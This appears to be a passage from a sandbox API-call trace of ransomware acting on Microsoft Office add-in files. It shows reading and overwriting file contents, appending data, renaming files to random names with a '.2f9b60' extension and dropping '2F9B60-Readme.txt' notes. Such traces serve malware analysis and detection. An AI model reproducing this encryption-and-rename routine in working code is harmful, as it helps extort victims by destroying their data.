RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x3732f09b [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x6e2d2191 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x384a75bd [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x40d3a382 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x1c177b1 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x536433c7 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x27bd4ae3 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x3ca37f51 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x54e98734 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x4fe159b0 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x5a07e774 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x3e19b315 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0x4ffa86a9 [0132.889] RtlRandomEx (in: Seed=0x2a8bfc30 | out: Seed=0x2a8bfc30) returned 0xdf68526 [0132.901] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.901] ReadFile (in: hFile=0x1b34, lpBuffer=0x1cf26600, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a8bfca0, lpOverlapped=0x0 | out: lpBuffer=0x1cf26600*, lpNumberOfBytesRead=0x2a8bfca0*=0x3c00, lpOverlapped=0x0) returned 1 [0132.903] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0132.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0132.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e70) returned 1 [0132.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf2a210 [0132.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.904] WriteFile (hFile=0x1b34, lpBuffer=0x1cf2a210, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a8bfca0, lpOverlapped=0x0) [0179.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf2a210) returned 1 [0179.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf26600) returned 1 [0179.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85b260 [0179.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62a00 [0179.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba4e0 [0179.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0179.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b320) returned 1 [0179.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85b320 [0179.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0179.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0179.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a000) returned 1 [0179.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0179.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a00) returned 1 [0179.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x42c15710 [0179.962] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0179.962] WriteFile (in: hFile=0x1b34, lpBuffer=0x42c15710*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2a8bfd50, lpOverlapped=0x0 | out: lpBuffer=0x42c15710*, lpNumberOfBytesWritten=0x2a8bfd50*=0x10c, lpOverlapped=0x0) returned 1 [0206.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61380 [0206.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420611b0 [0206.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0206.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0206.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4205a290 [0206.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0206.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf10 [0206.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf10) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420611b0) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61380) returned 1 [0206.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fdf0 [0206.252] sprintf (in: _Dest=0x1cd9fdf0, _Format="%c%c" | out: _Dest="70") returned 2 [0206.252] sprintf (in: _Dest=0x1cd9fdf2, _Format="%c%c" | out: _Dest="40") returned 2 [0206.252] sprintf (in: _Dest=0x1cd9fdf4, _Format="%c%c" | out: _Dest="bb") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fdf6, _Format="%c%c" | out: _Dest="43") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fdf8, _Format="%c%c" | out: _Dest="72") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fdfa, _Format="%c%c" | out: _Dest="4c") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fdfc, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fdfe, _Format="%c%c" | out: _Dest="be") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe00, _Format="%c%c" | out: _Dest="ed") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe02, _Format="%c%c" | out: _Dest="e3") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe04, _Format="%c%c" | out: _Dest="1d") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe06, _Format="%c%c" | out: _Dest="86") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe08, _Format="%c%c" | out: _Dest="f1") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe0a, _Format="%c%c" | out: _Dest="19") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe0c, _Format="%c%c" | out: _Dest="48") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe0e, _Format="%c%c" | out: _Dest="36") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe10, _Format="%c%c" | out: _Dest="ef") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe12, _Format="%c%c" | out: _Dest="4b") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe14, _Format="%c%c" | out: _Dest="8e") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe16, _Format="%c%c" | out: _Dest="d9") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe18, _Format="%c%c" | out: _Dest="2e") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe1a, _Format="%c%c" | out: _Dest="9a") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe1c, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe1e, _Format="%c%c" | out: _Dest="eb") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe20, _Format="%c%c" | out: _Dest="b1") returned 2 [0206.253] sprintf (in: _Dest=0x1cd9fe22, _Format="%c%c" | out: _Dest="56") returned 2 [0206.253] RtlInitAnsiString (in: DestinationString=0x2a8bfdc8, SourceString="7040bb43724c9bbeede31d86f1194836ef4b8ed92e9a4eebb156" | out: DestinationString="7040bb43724c9bbeede31d86f1194836ef4b8ed92e9a4eebb156") [0206.253] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a8bfd98, SourceString="7040bb43724c9bbeede31d86f1194836ef4b8ed92e9a4eebb156", AllocateDestinationString=1 | out: DestinationString="7040bb43724c9bbeede31d86f1194836ef4b8ed92e9a4eebb156") returned 0x0 [0206.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42061630 [0206.254] wcscat (in: _Dest=0x2050cdf0, _Source="7040bb43724c9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\7040bb43724c9") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\7040bb43724c9" [0206.254] wcscat (in: _Dest=0x2050cdf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\7040bb43724c9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\7040bb43724c9.2f9b60" [0206.254] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\7040bb43724c9.2f9b60", NtPathName=0x2a8bfd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\7040bb43724c9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x1197f0 [0209.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1197f0) returned 1 [0209.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43228530) returned 1 [0209.128] NtQueryInformationFile (in: FileHandle=0x1b34, IoStatusBlock=0x2a8bfdd8, FileInformation=0x2a8bfde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a8bfdd8, FileInformation=0x2a8bfde8) returned 0x0 [0209.128] NtSetInformationFile (FileHandle=0x1b34, IoStatusBlock=0x2a8bfdd8, FileInformation=0x2a8bfde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cdf0) returned 1 [0209.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061630) returned 1 [0209.636] FlushFileBuffers (hFile=0x1b34) returned 1 [0212.753] CloseHandle (hObject=0x1b34) returned 1 [0215.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce16df0 [0215.691] wcscpy (in: _Dest=0x1ce16df0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0215.691] wcscat (in: _Dest=0x1ce16df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" [0215.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\2f9b60-readme.txt")) returned 0x20 [0215.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16df0) returned 1 [0215.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a6f0) returned 1 Thread: id = 1833 os_tid = 0xc60 [0132.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam")) returned 0x20 [0132.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM", dwFileAttributes=0x20) returned 1 [0132.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b38 [0132.914] GetFileSizeEx (in: hFile=0x1b38, lpFileSize=0x2a72fb60 | out: lpFileSize=0x2a72fb60*=27490) returned 1 [0132.914] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x6b5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.914] ReadFile (in: hFile=0x1b38, lpBuffer=0x2a72fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a72fb28, lpOverlapped=0x0 | out: lpBuffer=0x2a72fae0*, lpNumberOfBytesRead=0x2a72fb28*=0x4, lpOverlapped=0x0) returned 1 [0132.917] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0132.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0132.917] NtQuerySystemTime (in: CurrentTime=0x2a72fa20 | out: CurrentTime=0x2a72fa20*=132462177381610000) returned 0x0 [0132.917] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x76373cc0 [0132.917] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x9633e6 [0132.917] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x1a9a7810 [0132.917] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x20e5a5b [0132.917] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x3a324813 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x78c6504c [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x25c9ca6b [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x3696224e [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x28e3d2ab [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x18feca74 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x90ff74 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x31360c83 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x9ae1665 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x7f7f7662 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x49c76a48 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x237042c3 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x31ce4085 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x378352cd [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x68b2a6f1 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x1b970180 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x24fae9f2 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x3dba7448 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x5f1e25ab [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x51c26ca8 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x7200f3af [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x58496002 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x4362f88f [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0xa70a92e [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x3ab736c8 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x6ab77a3b [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x207d2b82 [0132.918] RtlRandomEx (in: Seed=0x2a72fa10 | out: Seed=0x2a72fa10) returned 0x665b8cba [0132.927] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.927] ReadFile (in: hFile=0x1b38, lpBuffer=0x1cf2de20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a72fa80, lpOverlapped=0x0 | out: lpBuffer=0x1cf2de20*, lpNumberOfBytesRead=0x2a72fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0132.930] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0132.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0132.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf31a30 [0132.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0132.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f30) returned 1 [0132.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.931] WriteFile (in: hFile=0x1b38, lpBuffer=0x1cf31a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a72fa80, lpOverlapped=0x0 | out: lpBuffer=0x1cf31a30*, lpNumberOfBytesWritten=0x2a72fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0132.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf31a30) returned 1 [0132.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf2de20) returned 1 [0132.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266f30 [0132.938] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.938] WriteFile (in: hFile=0x1b38, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a72fb30, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2a72fb30*=0x10a, lpOverlapped=0x0) returned 1 [0132.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0132.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0132.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267020 [0132.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267020) returned 1 [0132.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0132.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267020 [0132.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0132.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267080) returned 1 [0132.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0132.971] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="f8") returned 2 [0132.971] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="5d") returned 2 [0132.971] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="be") returned 2 [0132.971] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="cb") returned 2 [0132.971] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="74") returned 2 [0132.971] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="8e") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="8d") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="94") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="8e") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="a3") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="d9") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="5f") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="59") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="15") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="77") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="c4") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="a7") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="38") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="c3") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="7f") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="4a") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="ac") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="14") returned 2 [0132.972] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="28") returned 2 [0132.972] RtlInitAnsiString (in: DestinationString=0x2a72fba8, SourceString="f85dbecb748e8d948ea3d95f591577c4a738c37f4aac1428" | out: DestinationString="f85dbecb748e8d948ea3d95f591577c4a738c37f4aac1428") [0132.972] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a72fb78, SourceString="f85dbecb748e8d948ea3d95f591577c4a738c37f4aac1428", AllocateDestinationString=1 | out: DestinationString="f85dbecb748e8d948ea3d95f591577c4a738c37f4aac1428") returned 0x0 [0132.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2520 [0132.973] wcscat (in: _Dest=0x1b8625c0, _Source="f85dbecb748e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\f85dbecb748e") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\f85dbecb748e" [0132.973] wcscat (in: _Dest=0x1b8625c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\f85dbecb748e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\f85dbecb748e.2f9b60" [0132.973] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\f85dbecb748e.2f9b60", NtPathName=0x2a72fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\f85dbecb748e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x1186e0 [0132.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0132.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdf50) returned 1 [0132.975] NtQueryInformationFile (in: FileHandle=0x1b38, IoStatusBlock=0x2a72fbb8, FileInformation=0x2a72fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a72fbb8, FileInformation=0x2a72fbc8) returned 0x0 [0132.975] NtSetInformationFile (FileHandle=0x1b38, IoStatusBlock=0x2a72fbb8, FileInformation=0x2a72fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 [0132.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2520) returned 1 [0132.976] FlushFileBuffers (hFile=0x1b38) returned 1 [0138.529] CloseHandle (hObject=0x1b38) returned 1 [0138.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050c3a0 [0138.597] wcscpy (in: _Dest=0x2050c3a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0138.597] wcscat (in: _Dest=0x2050c3a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" [0138.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\2f9b60-readme.txt")) returned 0xffffffff [0138.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 